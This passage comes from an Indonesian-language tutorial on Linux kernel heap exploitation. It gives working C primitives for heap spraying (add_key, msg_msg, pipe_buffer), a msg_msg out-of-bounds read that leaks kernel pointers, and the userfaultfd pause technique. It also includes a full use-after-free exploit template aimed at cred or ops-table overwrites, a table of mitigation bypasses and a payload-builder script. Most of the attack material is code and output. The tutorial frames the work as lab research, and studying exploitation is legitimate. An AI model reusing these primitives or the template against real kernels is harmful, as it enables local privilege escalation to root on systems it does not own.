*buf = calloc(1, cfg.data_len); if (payload && payload_len) memcpy(buf, payload, payload_len); memset(buf + payload_len, 0x41, cfg.data_len - payload_len); char desc[32]; int start = elastic_n; for (int i = 0; i < count && elastic_n < MAX_ELASTIC; i++) { snprintf(desc, sizeof(desc), "el_%d", elastic_n); elastic_keys[elastic_n] = (int)add_key("user", desc, buf, cfg.data_len, KEY_SPEC_PROCESS_KEYRING); elastic_n++; } free(buf); printf("[elastic] %d × kmalloc-%zu sprayed\n", elastic_n - start, target_cache); return 0; } /* Buat "lubang" di tengah elastic spray (untuk grooming) */ void elastic_punch_holes(int start, int step) { for (int i = start; i < elastic_n; i += step) { if (elastic_keys[i] > 0) { keyctl(KEYCTL_REVOKE, elastic_keys[i]); keyctl(KEYCTL_UNLINK, elastic_keys[i], KEY_SPEC_PROCESS_KEYRING); elastic_keys[i] = -1; } } printf("[elastic] Holes punched (step=%d)\n", step); } int main() { /* Contoh: spray ke kmalloc-256 dengan fake cred pointer */ unsigned long fake_cred = 0xffffffff81234567UL; elastic_spray(256, &fake_cred, sizeof(fake_cred), 512); /* Buat lubang setiap 4 untuk grooming precision */ elastic_punch_holes(0, 4); printf("[+] Heap dalam posisi groomed.\n"); return 0; } /* gcc -o elastic elastic_obj.c -lkeyutils */
msg_msg Advanced Primitives
msg_msg adalah primitif paling kuat untuk kernel exploitation modern karena memungkinkan:
arbitrary read (via msgrcv dengan MSG_COPY) dan size control yang luas.
Digunakan di CVE-2021-22555, CVE-2022-0995, dll.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ipc.h> #include <sys/msg.h> #include <unistd.h> #include <stdint.h> /* * msg_msg layout di memori (kernel): * * offset 0x00: list_head.next (8 bytes) → ptr ke msg_msg berikut di queue * offset 0x08: list_head.prev (8 bytes) → ptr ke msg_msg sebelum * offset 0x10: m_type (8 bytes) → tipe pesan (dari msgsnd) * offset 0x18: m_ts (8 bytes) → panjang data * offset 0x20: next (8 bytes) → ptr ke msg_msgseg (jika >4032B) * offset 0x28: security (8 bytes) → ptr SELinux/SMACK (bisa NULL) * offset 0x30: data[] ← data pesan dimulai di sini * * TEKNIK "OOB READ via m_ts": * Jika kita bisa overflow m_ts (bytes 0x18-0x1f), kita bisa membuat * msgrcv() membaca lebih banyak dari yang seharusnya → INFOLEAK! * * Contoh: set m_ts = 0x1000 (4096) padahal data asli = 256 bytes * msgrcv akan membaca 4096 bytes, termasuk data dari objek tetangga */ #define MSG_SIZE 256 #define MSG_BODY_SZ (MSG_SIZE - 0x30) /* 208 bytes data */ struct msg_hdr { unsigned long list_next; /* 0x00 */ unsigned long list_prev; /* 0x08 */ long m_type; /* 0x10 */ size_t m_ts; /* 0x18 ← TARGET OVERFLOW */ unsigned long next_seg; /* 0x20 */ unsigned long security; /* 0x28 */ char data[MSG_BODY_SZ]; /* 0x30 */ }; typedef struct { long mtype; char mtext[4096]; } usermsg_t; /* Buat queue dan kirim pesan */ int msg_create_send(void *data, size_t sz) { int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (qid < 0) { perror("msgget"); return -1; } usermsg_t m; m.mtype = 1; memcpy(m.mtext, data, sz); if (msgsnd(qid, &m, sz, 0) < 0) { perror("msgsnd"); return -1; } return qid; } /* Baca pesan dengan ukuran lebih besar (OOB read jika m_ts dimodif) */ ssize_t msg_oob_read(int qid, void *out, size_t read_sz) { usermsg_t m; /* MSG_COPY: baca tanpa menghapus dari queue (butuh CONFIG_CHECKPOINT_RESTORE) */ ssize_t ret = msgrcv(qid, &m, read_sz, 0, MSG_COPY | IPC_NOWAIT); if (ret < 0) { /* Jika MSG_COPY tidak tersedia, gunakan msgrcv biasa */ ret = msgrcv(qid, &m, read_sz, 0, IPC_NOWAIT); } if (ret > 0 && out) memcpy(out, m.mtext, ret); return ret; } /* * Skenario OOB Read Exploit: * * 1. Alokasikan victim_msg (256 bytes) yang berisi data sensitif. * 2. Alokasikan attacker_msg tepat SEBELUM victim_msg di slab. * 3. Bug: OOB write dari attacker_msg ke header victim_msg, * overflow m_ts dari 208 ke 4096. * 4. msgrcv(victim_qid, buf, 4096) → baca melewati batas objek! */ int main() { char data[MSG_BODY_SZ]; char readbuf[4096] = {0}; memset(data, 0x42, sizeof(data)); /* Kirim pesan normal */ int qid = msg_create_send(data, MSG_BODY_SZ); printf("[+] msg_msg alokasi: qid=%d\n", qid); /* Baca normal: 208 bytes */ ssize_t n = msg_oob_read(qid, readbuf, MSG_BODY_SZ); printf("[+] Normal read: %zd bytes\n", n); /* Jika m_ts sudah di-overflow (simulasi): baca 4096 bytes */ printf("[*] Simulating OOB read (m_ts overflow) → 4096 bytes\n"); n = msg_oob_read(qid, readbuf, 4096); /* Cari kernel pointer di readbuf */ for (size_t i = 0; i + 8 <= (size_t)n; i += 8) { uint64_t val; memcpy(&val, readbuf + i, 8); /* Kernel ptr biasanya di range 0xffff800000000000 - 0xffffffffffffffff */ if (val >= 0xffff800000000000ULL && val < 0xffffffffffffffffULL) { printf("[LEAK] offset 0x%zx: 0x%016lx\n", i, val); } } msgctl(qid, IPC_RMID, NULL); return 0; } /* gcc -o msg_primitive msg_primitive.c */
Pipe Buffer Spray
pipe_buffer adalah objek kernel yang digunakan untuk menyimpan data di pipe.
Terkenal dari CVE-2022-0847 (Dirty Pipe). Setiap pipe mengalokasikan
array pipe_buffer yang ukurannya ditentukan oleh jumlah page di pipe.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/resource.h> /* * pipe_buffer layout (include/linux/pipe_fs_i.h): * struct pipe_buffer { * struct page *page; // 8 bytes — ptr ke page data * unsigned int offset; // 4 bytes * unsigned int len; // 4 bytes * const struct pipe_buf_operations *ops; // 8 bytes ← VTABLE! * unsigned int flags; // 4 bytes * unsigned long private; // 8 bytes * }; // total = 40 bytes * * Untuk spray ke kmalloc-512: * alloc = sizeof(pipe_buffer) × n_pages * Dengan 16 pages (default): 40 × 16 = 640 → kmalloc-1k * Dengan 8 pages: 40 × 8 = 320 → kmalloc-512 * * Set ukuran pipe dengan F_SETPIPE_SZ: */ #define N_PIPES 512 #define PIPE_PAGES 8 /* 8 pages → 40×8=320 → kmalloc-512 */ #define PIPE_SZ (PIPE_PAGES * 4096) static int pipe_fds[N_PIPES][2]; void increase_file_limit() { struct rlimit rl; getrlimit(RLIMIT_NOFILE, &rl); rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NOFILE, &rl); printf("[pipe] File limit: %lu\n", rl.rlim_cur); } int pipe_spray() { increase_file_limit(); for (int i = 0; i < N_PIPES; i++) { if (pipe(pipe_fds[i]) < 0) { perror("pipe"); return -1; } /* Set pipe size: mengontrol jumlah pipe_buffer yang dialokasikan */ if (fcntl(pipe_fds[i][1], F_SETPIPE_SZ, PIPE_SZ) < 0) { /* CAP_SYS_RESOURCE diperlukan untuk ukuran > default */ /* Atau: gunakan sysctl fs.pipe-max-size */ } /* Write agar pipe_buffer ter-alloc sesungguhnya */ char c = 'X'; write(pipe_fds[i][1], &c, 1); } printf("[pipe] Spray: %d pipes × %d pages → kmalloc-%d\n", N_PIPES, PIPE_PAGES, (int)(__builtin_clz(PIPE_PAGES * 40 - 1) ? 0 : 512)); return 0; } void pipe_free_range(int start, int end) { for (int i = start; i < end; i++) { close(pipe_fds[i][0]); close(pipe_fds[i][1]); } printf("[pipe] Freed [%d..%d)\n", start, end); } int main() { pipe_spray(); /* Buat lubang di tengah (untuk grooming) */ pipe_free_range(200, 300); printf("[+] Heap groomed dengan pipe buffer spray.\n"); printf("[*] Sekarang trigger alokasi vulnerable untuk isi lubang.\n"); /* Cleanup */ pipe_free_range(0, 200); pipe_free_range(300, N_PIPES); return 0; } /* gcc -o pipe_spray pipe_spray.c */
userfaultfd Pause Technique
userfaultfd memungkinkan userspace untuk "menangkap" page fault. Ini digunakan untuk
menjeda eksekusi kernel di tengah syscall, memberi kita jendela waktu untuk
mengatur heap sebelum syscall selesai.
Mulai kernel 5.11, userfaultfd di unprivileged process dibatasi. Solusi: gunakan FUSE filesystem, atau minta vm.unprivileged_userfaultfd=1 via sysctl. Di kernel 6.x, iouring dan io_uring juga bisa dipakai sebagai alternatif "pause".
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/userfaultfd.h> /* * Teknik: * 1. Buat mapping mmap (uffd_region) yang dimonitor userfaultfd. * 2. Panggil syscall yang: (a) copy data dari userspace → kernel, * (b) data tersebut MELEWATI uffd_region. * 3. Saat kernel menyentuh uffd_region, terjadi page fault. * 4. userfaultfd handler di thread lain "menangkap" fault ini. * 5. Handler melakukan heap grooming sementara syscall menunggu. * 6. Handler selesaikan fault (resolve page) → syscall lanjut. * * Contoh: setxattr(path, name, uffd_region, size, 0) * → kernel kmalloc(size) ← alokasi terjadi DI SINI * → kernel copy_from_user(dst, uffd_region, size) ← PAUSE di sini * → handler jalan, grooming selesai * → copy_from_user selesai, syscall return */ static int uffd_fd = -1; static void *uffd_addr = NULL; static size_t uffd_size = 0; /* Inisialisasi userfaultfd */ int uffd_init(size_t sz) { uffd_size = (PAGE_SIZE + sz - 1) & ~(PAGE_SIZE - 1); uffd_fd = (int)syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd_fd < 0) { perror("userfaultfd"); return -1; } struct uffdio_api api = { .api = UFFD_API }; if (ioctl(uffd_fd, UFFDIO_API, &api)) { perror("UFFDIO_API"); return -1; } uffd_addr = mmap(NULL, uffd_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (uffd_addr == MAP_FAILED) { perror("mmap"); return -1; } struct uffdio_register reg = { .range = { .start = (unsigned long)uffd_addr, .len = uffd_size }, .mode = UFFDIO_REGISTER_MODE_MISSING }; if (ioctl(uffd_fd, UFFDIO_REGISTER, ®)) { perror("UFFDIO_REGISTER"); return -1; } printf("[uffd] Init: addr=%p, size=%zu\n", uffd_addr, uffd_size); return 0; } /* Fungsi yang dipanggil saat fault terjadi (di handler thread) */ typedef void (*uffd_callback_t)(void *arg); typedef struct { uffd_callback_t callback; void *arg; char *fill_data; size_t fill_size; } uffd_handler_arg_t; void *uffd_handler_thread(void *arg) { uffd_handler_arg_t *ha = (uffd_handler_arg_t *)arg; struct uffd_msg msg; struct pollfd pfd = { .fd = uffd_fd, .events = POLLIN }; while (1) { if (poll(&pfd, 1, -1) < 0) { perror("poll"); break; } if (read(uffd_fd, &msg, sizeof(msg)) < 0) { perror("read"); break; } if (msg.event != UFFD_EVENT_PAGEFAULT) continue; printf("[uffd] Fault at 0x%llx — kernel PAUSED\n", msg.arg.pagefault.address); /* ← JENDELA WAKTU: Lakukan heap grooming di sini ← */ if (ha->callback) ha->callback(ha->arg); /* Resolve fault dengan copy page fill_data */ struct uffdio_copy uc = { .dst = msg.arg.pagefault.address & ~(PAGE_SIZE - 1), .src = (unsigned long)ha->fill_data, .len = PAGE_SIZE, .mode = 0 }; if (ioctl(uffd_fd, UFFDIO_COPY, &uc) < 0) perror("UFFDIO_COPY"); printf("[uffd] Fault resolved, kernel RESUMES\n"); break; /* Selesai setelah satu fault */ } return NULL; } /* Contoh callback grooming yang berjalan saat kernel terpause */ void grooming_callback(void *arg) { (void)arg; printf(" [groom] Kernel paused, melakukan grooming...\n"); /* Contoh: bebaskan N objek dan spray N objek baru */ usleep(1000); /* Simulasi */ printf(" [groom] Grooming selesai!\n"); } int main() { printf("=== Userfaultfd Pause Technique ===\n"); if (uffd_init(4096) < 0) return 1; char *fill = (char *)malloc(PAGE_SIZE); memset(fill, 0x41, PAGE_SIZE); uffd_handler_arg_t ha = { .callback = grooming_callback, .arg = NULL, .fill_data = fill, .fill_size = PAGE_SIZE }; pthread_t thr; pthread_create(&thr, NULL, uffd_handler_thread, &ha); /* Trigger fault: setxattr dengan buffer dari uffd region */ printf("[+] Triggering setxattr (akan pause di uffd_addr)...\n"); /* setxattr("/tmp/x", "user.a", uffd_addr, 256, 0); */ /* ↑ saat kernel copy_from_user(uffd_addr) → PAUSE → callback jalan */ /* Untuk demo, akses langsung biar handler trigger */ volatile char *p = (volatile char *)uffd_addr; *p = 'X'; /* Fault trigger */ pthread_join(thr, NULL); free(fill); munmap(uffd_addr, uffd_size); close(uffd_fd); return 0; } /* gcc -o uffd_pause uffd_pause.c -lpthread */
Exploit Workflow
┌────────────────────────────────────────────────────────────────┐ │ KERNEL HEAP EXPLOIT WORKFLOW (Linux 6.x) │ └────────────────────────────────────────────────────────────────┘ [A] RECONNAISSANCE ├── Identifikasi struct vulnerable (nama, ukuran, cache class) ├── Tentukan bug type: UAF / OOB-write / Double-free ├── Tentukan offset data sensitif dalam struct └── Cari objek spray/groom di same cache class [B] HEAP PREPARATION ├── B1. Defragmentasi: isi partial slabs → bebaskan semua ├── B2. Spray awal: alokasi N×spray_obj → heap konsisten └── B3. Punch holes: bebaskan subset → buat slot teratur [C] TRIGGER BUG ├── C1. Trigger alokasi objek vulnerable → masuk ke "lubang" ├── C2. [Optional] PAUSE via userfaultfd untuk presisi timing └── C3. Trigger bug condition (UAF free / OOB write) [D] EXPLOIT PRIMITIVE ├── D1. RECLAIM: spray objek controlled → isi slot freed vuln ├── D2. OVERLAP: OOB write ke header objek adjacent └── D3. Modifikasi konten: fake ptr / cred / ops table [E] INFO LEAK ├── E1. Read via msg_msg OOB (m_ts overflow) ├── E2. Read via seq_file atau /proc reads └── E3. Ekstrak: KASLR base, heap addr, cred ptr [F] PRIVILEGE ESCALATION ├── F1. Overwrite cred.uid/gid → 0 ├── F2. Overwrite modprobe_path → /tmp/x └── F3. Execute privileged operation → root shell
Full PoC Template
Template exploit lengkap yang bisa disesuaikan untuk bug spesifik:
/* * exploit_template.c * Linux Kernel 6.x UAF Heap Exploit Template * * Bug type : Use-After-Free * Cache : kmalloc-256 (sesuaikan dengan bug target) * Primitif : msg_msg (spray + infoleak) * * Ganti bagian CUSTOMIZE sesuai kerentanan spesifik. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <fcntl.h> #include <pthread.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mman.h> #include <keyutils.h> /* ═══════════════════════════════════════════════ * KONFIGURASI — Sesuaikan dengan bug target * ═══════════════════════════════════════════════ */ #define VULN_OBJ_SIZE 256 /* sizeof(vuln_struct) */ #define MSG_BODY_SZ (VULN_OBJ_SIZE - 48) #define SPRAY_N 512 #define GROOM_HOLES 256 #define RECLAIM_N 64 /* Offset field sensitif dalam objek vulnerable */ #define SENSITIVE_OFFSET 0x40 /* contoh: ops table pointer */ /* ═══════════════════════════════════════════════ * STATE GLOBAL * ═══════════════════════════════════════════════ */ static int spray_qids[SPRAY_N]; static int reclaim_qids[RECLAIM_N]; typedef struct { long mtype; char mtext[MSG_BODY_SZ]; } msgbuf_t; /* ═══════════════════════════════════════════════ * HELPER: print hex dump * ═══════════════════════════════════════════════ */ static void hexdump(const char *label, const void *data, size_t len) { printf("\n[hexdump] %s (%zu bytes):\n", label, len); for (size_t i = 0; i < len; i += 16) { printf(" %04zx: ", i); for (size_t j = 0; j < 16 && i+j < len; j++) printf("%02x ", ((unsigned char *)data)[i+j]); printf("\n"); } } /* ═══════════════════════════════════════════════ * STEP 1: Defragmentasi & Spray Awal * ═══════════════════════════════════════════════ */ static void step1_spray() { printf("\n[1/6] Spray heap dengan %d msg_msg...\n", SPRAY_N); msgbuf_t m; m.mtype = 1; memset(m.mtext, 0xaa, MSG_BODY_SZ); for (int i = 0; i < SPRAY_N; i++) { spray_qids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (spray_qids[i] < 0) { perror("msgget"); exit(1); } msgsnd(spray_qids[i], &m, MSG_BODY_SZ, 0); } printf("[1/6] Spray selesai.\n"); } /* ═══════════════════════════════════════════════ * STEP 2: Punch Holes * ═══════════════════════════════════════════════ */ static void step2_punch_holes() { printf("[2/6] Membuat %d lubang...\n", GROOM_HOLES); for (int i = 0; i < GROOM_HOLES; i += 2) { msgctl(spray_qids[i], IPC_RMID, NULL); spray_qids[i] = -1; } printf("[2/6] Holes siap.\n"); } /* ═══════════════════════════════════════════════ * STEP 3: CUSTOMIZE — Trigger alokasi objek vulnerable * ═══════════════════════════════════════════════ */ static int vuln_fd = -1; /* fd atau handle ke objek vulnerable */ static void step3_alloc_vuln() { printf("[3/6] Trigger alokasi objek vulnerable...\n"); /* * CUSTOMIZE: * vuln_fd = open("/dev/vuln_device", O_RDWR); * atau syscall ke driver yang mengalokasikan struct vulnerable */ printf("[3/6] [!] Ganti dengan trigger bug spesifik!\n"); } /* ═══════════════════════════════════════════════ * STEP 4: CUSTOMIZE — Trigger free (bug condition) * ═══════════════════════════════════════════════ */ static void step4_trigger_uaf() { printf("[4/6] Trigger UAF/double-free...\n"); /* * CUSTOMIZE: * close(vuln_fd); // trigger free * ioctl(vuln_fd, VULN_IOCTL, arg); // bug path */ printf("[4/6] [!] Ganti dengan trigger bug spesifik!\n"); } /* ═══════════════════════════════════════════════ * STEP 5: Reclaim slot dengan msg_msg berisi payload * ═══════════════════════════════════════════════ */ static void step5_reclaim() { printf("[5/6] Reclaim slot dengan %d msg_msg...\n", RECLAIM_N); msgbuf_t m; m.mtype = 1; memset(m.mtext, 0x00, MSG_BODY_SZ); /* Isi payload sesuai target field */ unsigned long *ptrs = (unsigned long *)m.mtext; /* Contoh: fake ops table pointer di offset SENSITIVE_OFFSET * dari awal objek. Karena msg_msg header = 48 bytes: * body_off = SENSITIVE_OFFSET - 48 = 0x40 - 0x30 = 0x10 */ if (SENSITIVE_OFFSET >= 48) { size_t body_off = SENSITIVE_OFFSET - 48; *(unsigned long *)(m.mtext + body_off) = 0xffffffffdeadbeefUL; } for (int i = 0; i < RECLAIM_N; i++) { reclaim_qids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (reclaim_qids[i] < 0) { perror("msgget"); exit(1); } if (msgsnd(reclaim_qids[i], &m, MSG_BODY_SZ, 0) < 0) { perror("msgsnd reclaim"); exit(1); } } printf("[5/6] Reclaim selesai.\n"); } /* ═══════════════════════════════════════════════ * STEP 6: CUSTOMIZE — Trigger use (akses dangling ptr) * ═══════════════════════════════════════════════ */ static void step6_trigger_use() { printf("[6/6] Trigger UAF use (akses dangling pointer)...\n"); /* * CUSTOMIZE: * ioctl(vuln_fd, TRIGGER_USE, 0); * read(vuln_fd, buf, size); * * Kernel akan mengakses ops table yang sudah kita timpa * → hijack control flow → RIP = 0xffffffffdeadbeef */ printf("[6/6] [!] Ganti dengan trigger spesifik!\n"); printf("[+] Exploit selesai. Cek dmesg / root shell.\n"); } /* ═══════════════════════════════════════════════ * MAIN * ═══════════════════════════════════════════════ */ int main(int argc, char **argv) { printf("╔══════════════════════════════════════╗\n"); printf("║ Linux Kernel 6.x Heap UAF Exploit ║\n"); printf("║ Target cache: kmalloc-%d ║\n", VULN_OBJ_SIZE); printf("╚══════════════════════════════════════╝\n"); step1_spray(); step2_punch_holes(); step3_alloc_vuln(); step4_trigger_uaf(); step5_reclaim(); step6_trigger_use(); /* Cleanup */ for (int i = 0; i < SPRAY_N; i++) if (spray_qids[i] > 0) msgctl(spray_qids[i], IPC_RMID, NULL); for (int i = 0; i < RECLAIM_N; i++) msgctl(reclaim_qids[i], IPC_RMID, NULL); return 0; } /* gcc -O0 -g -o exploit exploit_template.c -lkeyutils -lpthread */
Mitigasi & Bypass
| Mitigasi | Mekanisme | Bypass |
|---|---|---|
| KASLR | Randomisasi alamat kernel | Info leak via msg_msg, seq_file, proc/sysfs, timing side-channel |
| SLAB_FREELIST_RANDOM | Acak urutan freelist saat inisialisasi slab baru | Spray volume besar, grooming deterministik tetap efektif |
| SLAB_FREELIST_HARDENED | XOR pointer freelist dengan random+addr | Butuh leak freelist pointer atau bypass via non-freelist primitive |
| SMEP/SMAP | Cegah kernel exec/access dari userspace | ROP di kernel space, ret2kernel, JOP |
| CFI (kernel) | Validasi target indirect call/jump | Type-compatible gadget, data-only attacks (overwrite cred) |
| Userfaultfd restriction | Batasi unprivileged userfaultfd (5.11+) | FUSE filesystem, io_uring pause, double-fetch race |
| init_on_alloc | Zero-fill objek saat alokasi | Tidak mencegah UAF jika data ditulis setelah alloc |
| KASAN | Deteksi UAF/OOB (debug only) | Tidak ada di production kernel |
| Lockdown mode | Batasi /dev/mem, kexec, dsb. | Tidak langsung memblok heap exploit |
Debug & Analisis di QEMU
# Kernel compile dengan debug untuk analisis heap make menuconfig # Aktifkan: # CONFIG_SLUB_DEBUG=y # CONFIG_KASAN=y (AddressSanitizer) # CONFIG_KASAN_GENERIC=y # CONFIG_DEBUG_KERNEL=y # CONFIG_GDB_SCRIPTS=y # CONFIG_FRAME_POINTER=y # Boot QEMU dengan GDB stub qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.img \ -append "console=ttyS0 nokaslr kasan.stacktrace=off slub_debug=FZPU" \ -m 2048 \ -nographic \ -s -S # -s: gdbserver :1234, -S: pause sampai GDB connect # Di terminal lain: gdb vmlinux target remote :1234 # Script python untuk analisis slab: python import gdb # Lihat kmem_cache untuk kmalloc-256: gdb.execute("p *((struct kmem_cache*)0x...)") # Monitor alokasi dengan ftrace: echo 1 > /sys/kernel/debug/tracing/events/kmem/kmalloc/enable echo 1 > /sys/kernel/debug/tracing/events/kmem/kfree/enable cat /sys/kernel/debug/tracing/trace_pipe
Python Spray Helper (untuk automasi eksperimen)
#!/usr/bin/env python3 """ spray_helper.py Helper untuk generate payload C dari spesifikasi struct. Digunakan untuk mempercepat prototyping exploit. """ import struct import sys def kmalloc_size(n): """Kembalikan kmalloc cache class untuk ukuran n.""" classes = [8, 16, 32, 64, 96, 128, 192, 256, 512, 1024, 2048, 4096] return next((c for c in classes if c >= n), n) def build_fake_obj(size, fields): """ Build binary payload untuk fake object. fields = list of (offset, value, fmt) tuples. fmt: 'Q'=uint64, 'I'=uint32, 's'=bytes """ buf = bytearray(size) for offset, value, fmt in fields: if fmt == 'Q': struct.pack_into('<Q', buf, offset, value) elif fmt == 'I': struct.pack_into('<I', buf, offset, value) elif fmt == 's': buf[offset:offset+len(value)] = value return bytes(buf) def find_kptr(data, base=0xffff800000000000): """Cari kernel pointer dalam data (infoleak).""" ptrs = [] for i in range(0, len(data)-7, 8): val = struct.unpack_from('<Q', data, i)[0] if val >= base and val < 0xffffffffffffffff: ptrs.append((i, hex(val))) return ptrs def gen_c_array(data, name="payload"): """Generate C array dari bytes.""" hexvals = ", ".join(f"0x{b:02x}" for b in data) return ( f"static const unsigned char {name}[{len(data)}] = {{\n" f" {hexvals}\n" f"}}; /* {len(data)} bytes, kmalloc-{kmalloc_size(len(data))} */" ) if __name__ == "__main__": # Contoh: buat fake msg_msg header untuk kmalloc-256 SIZE = 256 fields = [ (0x00, 0x4141414141414141, 'Q'), # list_head.next (placeholder) (0x08, 0x4141414141414141, 'Q'), # list_head.prev (0x10, 1, 'Q'), # m_type (0x18, 0x1000, 'Q'), # m_ts (overflow ke 4096!) (0x20, 0, 'Q'), # next segment (0x28, 0, 'Q'), # security (0x30, b"BBBBBBBBBBBBBBBB", 's'), # data start ] payload = build_fake_obj(SIZE, fields) print(gen_c_array(payload, "fake_msg")) # Cek ukuran print(f"\n/* Cache: kmalloc-{kmalloc_size(SIZE)} */") # python3 spray_helper.py
Referensi Utama
| Judul / Sumber | Topik |
|---|---|
linux/mm/slub.c — Kernel Source |
Implementasi SLUB allocator (referensi primer) |
| CVE-2021-22555 — Google Project Zero | Heap OOB + msg_msg infoleak + cred overwrite |
| CVE-2022-0847 (Dirty Pipe) — CM4all | pipe_buffer flags exploit |
| CVE-2022-29582 — io_uring UAF | Cross-cache attack, io_kiocb |
| "A New Attack Surface on Linux" — Etenal404 | msg_msg sebagai exploitation primitive |
| "Kernel Heap Feng Shui" — Jann Horn | Teknik grooming sistematis |
| Phrack #69 — "SLUB: The Unqueued Slab Allocator" | Internals SLUB yang mendalam |
Documentation/mm/slub.rst — Kernel Docs |
SLUB debugging dan konfigurasi |
| kernelCTF — Google | Writeup exploit kernel modern (publik) |
| CVE-2026-23416 — Antonius / Blue Dragon Security | mm/mseal curr_end staleness, PoC: github.com/bluedragonsecurity |
Jalankan semua eksperimen di QEMU dengan kernel debug (CONFIG_SLUB_DEBUG=y, CONFIG_KASAN=y, nokaslr).
Monitor dengan /sys/kernel/debug/tracing untuk memverifikasi alokasi.
Gunakan crash tool atau GDB dengan vmlinux untuk inspeksi live.